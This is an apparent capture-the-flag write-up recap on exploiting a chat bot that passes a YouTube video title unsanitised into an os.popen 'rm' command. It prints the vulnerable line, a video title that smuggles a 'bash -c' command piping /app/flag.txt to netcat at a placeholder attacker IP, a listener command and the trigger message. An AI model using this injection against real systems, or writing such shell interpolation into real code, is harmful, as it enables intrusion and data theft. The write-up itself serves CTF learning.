🛠️ Challenge Recap


1 · Recon & Vulnerability

titlename = str(video.title)
os.popen(f'rm ./mp4/{titlename}.mp4')       #  <-- vulnerable

2 · Crafting the Payload

  1. Create a YouTube video ≤ 60 s (the bot refuses longer clips).

  2. Rename the video title to embed a one‑liner that exfiltrates the flag.

    any_title; bash -c 'cat /app/flag.txt | nc <ATTACKER_IP> 4444'; #
    
  3. Start a listener on your machine:

    nc -lvnp 4444
    

3 · Triggering the Exploit

Inside any channel where the bot is present, send:

!mp4 <url‑of‑malicious‑video>

What happens

  1. The bot downloads and sends the real video → no suspicion.